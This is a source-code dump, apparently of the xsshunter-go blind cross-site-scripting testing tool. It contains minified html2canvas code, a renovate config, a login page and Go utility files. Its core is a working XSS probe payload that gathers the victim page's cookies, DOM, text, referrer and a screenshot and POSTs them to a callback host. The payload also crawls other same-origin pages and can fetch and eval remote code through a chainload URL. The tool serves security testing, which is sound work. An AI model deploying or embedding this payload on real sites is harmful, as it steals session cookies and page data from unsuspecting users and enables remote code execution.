2:a=a+e.height-r[2].width,h=r[2].width,t.args=F({c1:[s+c,a+h],c2:[s,a+h],c3:[s+r[3].width,a],c4:[s+c-r[3].width,a]},n[2],n[3],i.bottomRightOuter,i.bottomRightInner,i.bottomLeftOuter,i.bottomLeftInner);break;case 3:c=r[3].width,t.args=F({c1:[s,a+h+r[2].width],c2:[s,a],c3:[s+c,a+r[0].width],c4:[s+c,a+h]},n[3],n[0],i.bottomLeftOuter,i.bottomLeftInner,i.topLeftOuter,i.topLeftInner)}}return t})}},P.prototype.parseBackgroundClip=function(t,e,n,r,i){var o=t.css("backgroundClip"),s=[];switch(o){case"content-box":case"padding-box":W(s,r[0],r[1],e.topLeftInner,e.topRightInner,i.left+n[3].width,i.top+n[0].width),W(s,r[1],r[2],e.topRightInner,e.bottomRightInner,i.left+i.width-n[1].width,i.top+n[0].width),W(s,r[2],r[3],e.bottomRightInner,e.bottomLeftInner,i.left+i.width-n[1].width,i.top+i.height-n[2].width),W(s,r[3],r[0],e.bottomLeftInner,e.topLeftInner,i.left+n[3].width,i.top+i.height-n[2].width);break;default:W(s,r[0],r[1],e.topLeftOuter,e.topRightOuter,i.left,i.top),W(s,r[1],r[2],e.topRightOuter,e.bottomRightOuter,i.left+i.width,i.top),W(s,r[2],r[3],e.bottomRightOuter,e.bottomLeftOuter,i.left+i.width,i.top+i.height),W(s,r[3],r[0],e.bottomLeftOuter,e.topLeftOuter,i.left,i.top+i.height)}return s},P.prototype.pseudoHideClass="___html2canvas___pseudoelement";var Te=0;pe.prototype.renderImage=function(t,e,n,r){var i=t.cssInt("paddingLeft"),o=t.cssInt("paddingTop"),s=t.cssInt("paddingRight"),a=t.cssInt("paddingBottom"),c=n.borders,h=e.width-(c[1].width+c[3].width+i+s),u=e.height-(c[0].width+c[2].width+o+a);this.drawImage(r,0,0,r.image.width||h,r.image.height||u,e.left+i+c[3].width,e.top+o+c[0].width,h,u)},pe.prototype.renderBackground=function(t,e,n){e.height>0&&e.width>0&&(this.renderBackgroundColor(t,e),this.renderBackgroundImage(t,e,n))},pe.prototype.renderBackgroundColor=function(t,e){var n=t.css("backgroundColor");this.isTransparent(n)||this.rectangle(e.left,e.top,e.width,e.height,t.css("backgroundColor"))},pe.prototype.renderBorders=function(t){t.forEach(this.renderBorder,this)},pe.prototype.renderBorder=function(t){this.isTransparent(t.color)||null===t.args||this.drawShape(t.args,t.color)},pe.prototype.renderBackgroundImage=function(t,e,n){var r=t.parseBackgroundImages();r.reverse().forEach(function(r,i,o){switch(r.method){case"url":var s=this.images.get(r.args[0]);s?this.renderBackgroundRepeating(t,e,s,o.length-(i+1),n):E("Error loading background-image",r.args[0]);break;case"linear-gradient":case"gradient":var a=this.images.get(r.value);a?this.renderBackgroundGradient(a,e,n):E("Error loading background-image",r.args[0]);break;case"none":break;default:E("Unknown background-image type",r.args[0])}},this)},pe.prototype.renderBackgroundRepeating=function(t,e,n,r,i){var o=t.parseBackgroundSize(e,n.image,r),s=t.parseBackgroundPosition(e,n.image,r,o),a=t.parseBackgroundRepeat(r);switch(a){case"repeat-x":case"repeat no-repeat":this.backgroundRepeatShape(n,s,o,e,e.left+i[3],e.top+s.top+i[0],99999,n.image.height,i);break;case"repeat-y":case"no-repeat repeat":this.backgroundRepeatShape(n,s,o,e,e.left+s.left+i[3],e.top+i[0],n.image.width,99999,i);break;case"no-repeat":this.backgroundRepeatShape(n,s,o,e,e.left+s.left+i[3],e.top+s.top+i[0],n.image.width,n.image.height,i);break;default:this.renderBackgroundRepeat(n,s,o,{top:e.top,left:e.left},i[3],i[0])}},pe.prototype.isTransparent=function(t){return!t||"transparent"===t||"rgba(0, 0, 0, 0)"===t},le.prototype=Object.create(T.prototype),le.prototype.getParentStack=function(t){var e=this.parent?this.parent.stack:null;return e?e.ownStacking?e:e.getParentStack(t):t.stack},de.prototype.testRangeBounds=function(t){var e,n,r,i,o=!1;return t.createRange&&(e=t.createRange(),e.getBoundingClientRect&&(n=t.createElement("boundtest"),n.style.height="123px",n.style.display="block",t.body.appendChild(n),e.selectNode(n),r=e.getBoundingClientRect(),i=r.height,123===i&&(o=!0),t.body.removeChild(n))),o},de.prototype.testCORS=function(){return"undefined"!=typeof(new Image).crossOrigin},de.prototype.testSVG=function(){var t=new Image,n=e.createElement("canvas"),r=n.getContext("2d");t.src="data:image/svg+xml,";try{r.drawImage(t,0,0),n.toDataURL()}catch(i){return!1}return!0},fe.prototype.hasFabric=function(){return html2canvas.fabric?Promise.resolve():Promise.reject(new Error("html2canvas.svg.js is not loaded, cannot render svg"))},fe.prototype.inlineFormatting=function(t){return/^data:image\/svg\+xml;base64,/.test(t)?this.decode64(this.removeContentType(t)):this.removeContentType(t)},fe.prototype.removeContentType=function(t){return t.replace(/^data:image\/svg\+xml(;base64)?,/,"")},fe.prototype.isInline=function(t){return/^data:image\/svg\+xml/i.test(t)},fe.prototype.createCanvas=function(t){var e=this;return function(n,r){var i=new html2canvas.fabric.StaticCanvas("c");e.image=i.lowerCanvasEl,i.setWidth(r.width).setHeight(r.height).add(html2canvas.fabric.util.groupSVGElements(n,r)).renderAll(),t(i.lowerCanvasEl)}},fe.prototype.decode64=function(e){return"function"==typeof t.atob?t.atob(e):ge(e)},me.prototype=Object.create(fe.prototype),ye.prototype=Object.create(T.prototype),ye.prototype.applyTextTransform=function(){this.node.data=this.transform(this.parent.css("textTransform"))},ye.prototype.transform=function(t){var e=this.node.data;switch(t){case"lowercase":return e.toLowerCase();case"capitalize":return e.replace(/(^|\s|:|-|\(|\))([a-z])/g,ve);case"uppercase":return e.toUpperCase();default:return e}},we.prototype=Object.create(f.prototype),xe.prototype=Object.create(pe.prototype),xe.prototype.setFillStyle=function(t){return this.ctx.fillStyle=t,this.ctx},xe.prototype.rectangle=function(t,e,n,r,i){this.setFillStyle(i).fillRect(t,e,n,r)},xe.prototype.drawShape=function(t,e){this.shape(t),this.setFillStyle(e).fill()},xe.prototype.taints=function(t){if(null===t.tainted){this.taintCtx.drawImage(t.image,0,0);try{this.taintCtx.getImageData(0,0,1,1),t.tainted=!1}catch(n){this.taintCtx=e.createElement("canvas").getContext("2d"),t.tainted=!0}}return t.tainted},xe.prototype.drawImage=function(t,e,n,r,i,o,s,a,c){(!this.taints(t)||this.options.allowTaint)&&this.ctx.drawImage(t.image,e,n,r,i,o,s,a,c)},xe.prototype.clip=function(t,e,n){this.ctx.save(),this.shape(t).clip(),e.call(n),this.ctx.restore()},xe.prototype.shape=function(t){return this.ctx.beginPath(),t.forEach(function(t,e){this.ctx[0===e?"moveTo":t[0]+"To"].apply(this.ctx,t.slice(1))},this),this.ctx.closePath(),this.ctx},xe.prototype.font=function(t,e,n,r,i,o){this.setFillStyle(t).font=[e,n,r,i,o].join(" ")},xe.prototype.fontShadow=function(t,e,n,r){this.setVariable("shadowColor",t).setVariable("shadowOffsetY",e).setVariable("shadowOffsetX",n).setVariable("shadowBlur",r)},xe.prototype.clearShadow=function(){this.setVariable("shadowColor","rgba(0,0,0,0)")},xe.prototype.setOpacity=function(t){this.ctx.globalAlpha=t},xe.prototype.setTransform=function(t){this.ctx.translate(t.origin[0],t.origin[1]),this.ctx.transform.apply(this.ctx,t.matrix),this.ctx.translate(-t.origin[0],-t.origin[1])},xe.prototype.setVariable=function(t,e){return this.variables[t]!==e&&(this.variables[t]=this.ctx[t]=e),this},xe.prototype.text=function(t,e,n){this.ctx.fillText(t,e,n)},xe.prototype.backgroundRepeatShape=function(t,e,n,r,i,o,s,a,c){var h=[["line",Math.round(i),Math.round(o)],["line",Math.round(i+s),Math.round(o)],["line",Math.round(i+s),Math.round(a+o)],["line",Math.round(i),Math.round(a+o)]];this.clip(h,function(){this.renderBackgroundRepeat(t,e,n,r,c[3],c[0])},this)},xe.prototype.renderBackgroundRepeat=function(t,e,n,r,i,o){var s=Math.round(r.left+e.left+i),a=Math.round(r.top+e.top+o);this.setFillStyle(this.ctx.createPattern(this.resizeImage(t,n),"repeat")),this.ctx.translate(s,a),this.ctx.fill(),this.ctx.translate(-s,-a)},xe.prototype.renderBackgroundGradient=function(t,e){if(t instanceof x){var n=this.ctx.createLinearGradient(e.left+e.width*t.x0,e.top+e.height*t.y0,e.left+e.width*t.x1,e.top+e.height*t.y1);t.colorStops.forEach(function(t){n.addColorStop(t.stop,t.color)}),this.rectangle(e.left,e.top,e.width,e.height,n)}},xe.prototype.resizeImage=function(t,n){var r=t.image;if(r.width===n.width&&r.height===n.height)return r;var i,o=e.createElement("canvas");return o.width=n.width,o.height=n.height,i=o.getContext("2d"),i.drawImage(r,0,0,r.width,r.height,0,0,n.width,n.height),o}}(window,document); 32 | 33 | var chainload_uri = "[CHAINLOAD_REPLACE_ME]"; 34 | var collect_page_list = [COLLECT_PAGE_LIST_REPLACE_ME] 35 | 36 | // Source: https://stackoverflow.com/a/20151856/1195812 37 | function base64_to_blob(base64Data, contentType) { 38 | contentType = contentType || ''; 39 | var sliceSize = 1024; 40 | var byteCharacters = atob(base64Data); 41 | var bytesLength = byteCharacters.length; 42 | var slicesCount = Math.ceil(bytesLength / sliceSize); 43 | var byteArrays = new Array(slicesCount); 44 | 45 | for (var sliceIndex = 0; sliceIndex < slicesCount; ++sliceIndex) { 46 | var begin = sliceIndex * sliceSize; 47 | var end = Math.min(begin + sliceSize, bytesLength); 48 | 49 | var bytes = new Array(end - begin); 50 | for (var offset = begin, i = 0; offset < end; ++i, ++offset) { 51 | bytes[i] = byteCharacters[offset].charCodeAt(0); 52 | } 53 | byteArrays[sliceIndex] = new Uint8Array(bytes); 54 | } 55 | return new Blob(byteArrays, { type: contentType }); 56 | } 57 | 58 | function get_guid() { 59 | var S4 = function() { 60 | return (((1+Math.random())*0x10000)|0).toString(16).substring(1); 61 | }; 62 | return (S4()+S4()+"-"+S4()+"-"+S4()+"-"+S4()+"-"+S4()+S4()+S4()); 63 | } 64 | 65 | function never_null( value ) { 66 | if( value !== undefined ) { 67 | return value; 68 | } else { 69 | return ''; 70 | } 71 | } 72 | 73 | function collect_pages() { 74 | for( var i = 0; i < collect_page_list.length; i++ ) { 75 | // Make sure the path is correctly formatted 76 | if( collect_page_list[i].charAt(0) != "/" ) { 77 | collect_page_list[i] = "/" + collect_page_list[i]; 78 | } 79 | collect_page_data( collect_page_list[i] ); 80 | } 81 | } 82 | 83 | function eval_remote_source( uri ) { 84 | var xhr = new XMLHttpRequest(); 85 | xhr.onreadystatechange = function() { 86 | if ( xhr.readyState == XMLHttpRequest.DONE ) { 87 | eval( xhr.responseText ); 88 | } 89 | } 90 | xhr.open( 'GET', uri, true ); 91 | xhr.send( null ); 92 | } 93 | 94 | function addEvent(element, eventName, fn) { 95 | if (element.addEventListener) 96 | element.addEventListener(eventName, fn, false); 97 | else if (element.attachEvent) 98 | element.attachEvent('on' + eventName, fn); 99 | } 100 | 101 | function get_dom_text() { 102 | if (!document.body) { 103 | return ''; 104 | } 105 | 106 | var text_extractions_to_try = [ 107 | document.body.outerText, 108 | document.body.innerText, 109 | document.body.textContent, 110 | ]; 111 | for(var i = 0; i < text_extractions_to_try.length; i++) { 112 | if(typeof text_extractions_to_try[i] === 'string') { 113 | return text_extractions_to_try[i]; 114 | } 115 | } 116 | 117 | return ''; 118 | } 119 | 120 | function generate_random_string(length) { 121 | var return_array = []; 122 | var characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 123 | var charactersLength = characters.length; 124 | for (var i = 0; i < length; i++) { 125 | return_array.push(characters.charAt(Math.floor(Math.random() * charactersLength))); 126 | } 127 | return return_array.join(""); 128 | } 129 | 130 | function contact_mothership(probe_return_data) { 131 | var form_data = new FormData(); 132 | var payload_keys = Object.keys(probe_return_data); 133 | payload_keys.map(function(payload_key) { 134 | if(payload_key === 'screenshot') { 135 | var base64_data = probe_return_data[payload_key].replace( 136 | 'data:image/png;base64,', 137 | '' 138 | ); 139 | var screenshot_blob = base64_to_blob( 140 | base64_data, 141 | 'image/png' 142 | ); 143 | form_data.append( 144 | payload_key, 145 | screenshot_blob, 146 | "screenshot.png" 147 | ) 148 | return 149 | } 150 | form_data.append(payload_key, probe_return_data[payload_key]); 151 | }); 152 | 153 | var http = new XMLHttpRequest(); 154 | var url = "[HOST_URL]/js_callback"; 155 | http.open("POST", url, true); 156 | http.onreadystatechange = function() { 157 | if(http.readyState == 4 && http.status == 200) { 158 | 159 | } 160 | } 161 | http.send(form_data); 162 | } 163 | 164 | function send_collected_page( page_data ) { 165 | var form_data = new FormData(); 166 | var payload_keys = Object.keys(page_data); 167 | payload_keys.map(function(payload_key) { 168 | form_data.append(payload_key, page_data[payload_key]); 169 | }); 170 | 171 | var http = new XMLHttpRequest(); 172 | var url = "[HOST_URL]/page_callback"; 173 | http.open("POST", url, true); 174 | http.onreadystatechange = function() { 175 | if(http.readyState == 4 && http.status == 200) { 176 | 177 | } 178 | } 179 | http.send(form_data); 180 | } 181 | 182 | function collect_page_data( path ) { 183 | try { 184 | var full_url = location.protocol + "//" + document.domain + path 185 | var xhr = new XMLHttpRequest(); 186 | xhr.onreadystatechange = function() { 187 | if (xhr.readyState == XMLHttpRequest.DONE) { 188 | page_data = { 189 | "html": xhr.responseText, 190 | "uri": full_url 191 | } 192 | send_collected_page( page_data ); 193 | } 194 | } 195 | xhr.open('GET', full_url, true); 196 | xhr.send(null); 197 | } catch ( e ) { 198 | } 199 | } 200 | 201 | probe_return_data = {}; 202 | 203 | // Prevent failure incase the browser refuses to give us any of the probe data. 204 | try { 205 | probe_return_data['uri'] = never_null( location.toString() ); 206 | } catch ( e ) { 207 | probe_return_data['uri'] = ''; 208 | } 209 | try { 210 | probe_return_data['cookies'] = never_null( document.cookie ); 211 | } catch ( e ) { 212 | probe_return_data['cookies'] = ''; 213 | } 214 | try { 215 | probe_return_data['referrer'] = never_null( document.referrer ); 216 | } catch ( e ) { 217 | probe_return_data['referrer'] = ''; 218 | } 219 | try { 220 | probe_return_data['user-agent'] = never_null( navigator.userAgent ); 221 | } catch ( e ) { 222 | probe_return_data['user-agent'] = ''; 223 | } 224 | try { 225 | probe_return_data['browser-time'] = never_null( ( new Date().getTime() ) ); 226 | } catch ( e ) { 227 | probe_return_data['browser-time'] = ''; 228 | } 229 | try { 230 | probe_return_data['probe-uid'] = never_null( get_guid() ); 231 | } catch ( e ) { 232 | probe_return_data['probe-uid'] = ''; 233 | } 234 | try { 235 | probe_return_data['origin'] = never_null( location.origin ); 236 | } catch ( e ) { 237 | probe_return_data['origin'] = ''; 238 | } 239 | try { 240 | probe_return_data['injection_key'] = '[PROBE_ID]'; 241 | } catch ( e ) { 242 | probe_return_data['injection_key'] = ''; 243 | } 244 | 245 | probe_return_data['title'] = document.title; 246 | 247 | probe_return_data['text'] = get_dom_text(); 248 | 249 | probe_return_data['was_iframe'] = !(window.top === window) 250 | 251 | function hook_load_if_not_ready() { 252 | try { 253 | try { 254 | probe_return_data['dom'] = never_null( document.documentElement.outerHTML ); 255 | } catch ( e ) { 256 | probe_return_data['dom'] = ''; 257 | } 258 | html2canvas(document.body).then(function(canvas) { 259 | probe_return_data['screenshot'] = canvas.toDataURL(); 260 | finishing_moves(); 261 | }); 262 | } catch( e ) { 263 | probe_return_data['screenshot'] = ''; 264 | finishing_moves(); 265 | } 266 | } 267 | 268 | function finishing_moves() { 269 | contact_mothership( probe_return_data ); 270 | collect_pages(); 271 | if( chainload_uri != "" && chainload_uri != null ) { 272 | eval_remote_source( chainload_uri ); 273 | } 274 | } 275 | 276 | if( document.readyState == "complete" ) { 277 | hook_load_if_not_ready(); 278 | } else { 279 | addEvent( window, "load", function(){ 280 | hook_load_if_not_ready(); 281 | }); 282 | } 283 | -------------------------------------------------------------------------------- /renovate.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://docs.renovatebot.com/renovate-schema.json", 3 | "extends": [ 4 | "config:recommended" 5 | ], 6 | "packageRules": [ 7 | { 8 | "matchManagers": ["gomod"], 9 | "groupName": "golang-dependencies", 10 | "groupSlug": "golang", 11 | "schedule": ["at any time"] 12 | }, 13 | { 14 | "matchManagers": ["dockerfile"], 15 | "groupName": "docker-dependencies", 16 | "groupSlug": "docker", 17 | "schedule": ["at any time"] 18 | }, 19 | { 20 | "matchManagers": ["docker-compose"], 21 | "groupName": "docker-compose-dependencies", 22 | "groupSlug": "docker-compose", 23 | "schedule": ["at any time"] 24 | }, 25 | { 26 | "matchManagers": ["github-actions"], 27 | "groupName": "github-actions-dependencies", 28 | "groupSlug": "github-actions", 29 | "schedule": ["at any time"] 30 | }, 31 | { 32 | "matchManagers": ["npm"], 33 | "groupName": "playwright-dependencies", 34 | "groupSlug": "playwright", 35 | "schedule": ["at any time"] 36 | } 37 | ] 38 | } -------------------------------------------------------------------------------- /src/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Login 5 | 6 | 256 | 257 | 258 |
259 |
260 | Dark Mode 261 | 265 |
266 |
267 | 275 |
276 | 277 | 345 | 346 | 353 | 354 | -------------------------------------------------------------------------------- /util.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/rand" 5 | "encoding/hex" 6 | "fmt" 7 | "log" 8 | "net/http" 9 | "os" 10 | "strconv" 11 | "strings" 12 | 13 | "golang.org/x/crypto/bcrypt" 14 | ) 15 | 16 | func get_secure_random_string(length int) (string, error) { 17 | bytes := make([]byte, length) 18 | if _, err := rand.Read(bytes); err != nil { 19 | return "", err 20 | } 21 | return hex.EncodeToString(bytes), nil 22 | } 23 | 24 | func hash_string(input string) (string, error) { 25 | hash, err := bcrypt.GenerateFromPassword([]byte(input), bcrypt.DefaultCost) 26 | if err != nil { 27 | return "", err 28 | } 29 | return string(hash), nil 30 | } 31 | 32 | func check_hash(input string, hashed string) bool { 33 | err := bcrypt.CompareHashAndPassword([]byte(hashed), []byte(input)) 34 | return err == nil 35 | } 36 | 37 | // func generate_log(input string) { 38 | // datetime := 39 | // } 40 | 41 | func checkFileExists(filepath string) bool { 42 | _, err := os.Stat(filepath) 43 | return !os.IsNotExist(err) 44 | } 45 | 46 | func get_env(key string) string { 47 | // if constant[key] == "" { 48 | // constant[key] = os.Getenv(key) 49 | // } 50 | // return constant[key] 51 | return os.Getenv(key) 52 | } 53 | 54 | func parameter_to_int(input string, default_int int) int { 55 | if input == "" { 56 | return default_int 57 | } 58 | value, err := strconv.Atoi(input) 59 | if err != nil { 60 | return default_int 61 | } 62 | return value 63 | } 64 | 65 | func update_setting(setting_key string, setting_value string) { 66 | _, err := db_execute("UPDATE settings SET value = $1 WHERE key = $2", setting_value, setting_key) 67 | if err != nil { 68 | fmt.Println("Settings is not updated: ", err) 69 | } 70 | } 71 | 72 | func make_folder_if_not_exists(folder string) { 73 | if !checkFileExists(folder) { 74 | err := os.MkdirAll(folder, 0750) 75 | if err != nil { 76 | log.Fatal("Fatal Error on make folder:", err) 77 | } 78 | } 79 | } 80 | 81 | func generate_screenshot_url(request *http.Request, screenshot_id string) string { 82 | if get_env("SCREENSHOTS_REQUIRE_AUTH") == "true" { 83 | return "" 84 | // return get_host(request) + "/screenshot/" + screenshot_id + "?auth=" + 85 | } 86 | return get_host(request) + "/screenshots/" + screenshot_id + ".png" 87 | } 88 | 89 | func get_client_ip(request *http.Request) string { 90 | clientIP := request.Header.Get("X-Forwarded-For") 91 | if clientIP == "" { 92 | return request.RemoteAddr 93 | } 94 | 95 | ips := strings.Split(clientIP, ",") 96 | if len(ips) > 0 { 97 | clientIP = ips[0] 98 | } 99 | return clientIP 100 | } 101 | 102 | // func remember(variable *string, reload bool, function func() string) string { 103 | // if reload || *variable == "" { 104 | // *variable = function() 105 | // } 106 | // return *variable 107 | // } 108 | -------------------------------------------------------------------------------- /version.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "net/http" 7 | "runtime" 8 | "time" 9 | ) 10 | 11 | type Tag struct { 12 | Name string `json:"name"` 13 | Commit struct { 14 | SHA string `json:"sha"` 15 | URL string `json:"url"` 16 | } `json:"commit"` 17 | } 18 | 19 | type Commit struct { 20 | SHA string `json:"sha"` 21 | } 22 | 23 | var ( 24 | // Populated by the Go linker during build 25 | version = "unknown" 26 | gitCommit = "unknown" 27 | gitBranch = "unknown" 28 | buildDate = "unknown" 29 | ) 30 | 31 | func versionHandler(w http.ResponseWriter, r *http.Request) { 32 | set_secure_headers(w, r) 33 | set_no_cache(w) 34 | 35 | latestCommit := "unknown" 36 | 37 | latestCommitObj := getLatestCommitFromBranch(gitBranch) 38 | if latestCommitObj != nil { 39 | latestCommit = latestCommitObj.SHA 40 | } 41 | 42 | err := json.NewEncoder(w).Encode(map[string]string{ 43 | "current_git_commit": gitCommit, 44 | "git_branch": gitBranch, 45 | "latest_git_commit": latestCommit, 46 | }) 47 | if err != nil { 48 | fmt.Println("JSON encode error: ", err) 49 | } 50 | } 51 | 52 | func PrintVersion() { 53 | fmt.Printf("Version: %s\nGit Commit: %s\nGit Branch: %s\nGo Version: %s\nGo OS/Arch: %s/%s\nBuild Date: %s\nTime: %s\n", 54 | version, gitCommit, gitBranch, runtime.Version(), runtime.GOOS, runtime.GOARCH, buildDate, time.Now().Format("2006-01-02 15:04:05 MST-07:00")) 55 | } 56 | 57 | // func getLatestGit() *Tag { 58 | // url := "https://api.github.com/repos/adamjsturge/xsshunter-go/tags" 59 | // resp, err := http.Get(url) 60 | // if err != nil { 61 | // return nil 62 | // } 63 | // defer resp.Body.Close() 64 | 65 | // if resp.StatusCode != http.StatusOK { 66 | // fmt.Printf("error fetching tags: %s", resp.Status) 67 | // return nil 68 | // } 69 | 70 | // var tags []Tag 71 | // err = json.NewDecoder(resp.Body).Decode(&tags) 72 | // if err != nil { 73 | // fmt.Printf("error decoding response: %v", err) 74 | // return nil 75 | // } 76 | 77 | // // sort.Slice(tags, func(i, j int) bool { 78 | // // return tags[i].Name > tags[j].Name 79 | // // }) 80 | 81 | // if len(tags) > 0 { 82 | // return &tags[0] 83 | // } 84 | 85 | // return nil 86 | // } 87 | 88 | func getLatestCommitFromBranch(branch string) *Commit { 89 | if branch == "unknown" { 90 | return nil 91 | } 92 | url := "https://api.github.com/repos/adamjsturge/xsshunter-go/commits/" + branch 93 | resp, err := http.Get(url) // #nosec G107 94 | if err != nil { 95 | return nil 96 | } 97 | defer resp.Body.Close() 98 | 99 | if resp.StatusCode != http.StatusOK { 100 | fmt.Printf("error fetching commit: %s", resp.Status) 101 | return nil 102 | } 103 | 104 | var commit Commit 105 | err = json.NewDecoder(resp.Body).Decode(&commit) 106 | if err != nil { 107 | fmt.Printf("error decoding response: %v", err) 108 | return nil 109 | } 110 | 111 | return &commit 112 | } 113 | --------------------------------------------------------------------------------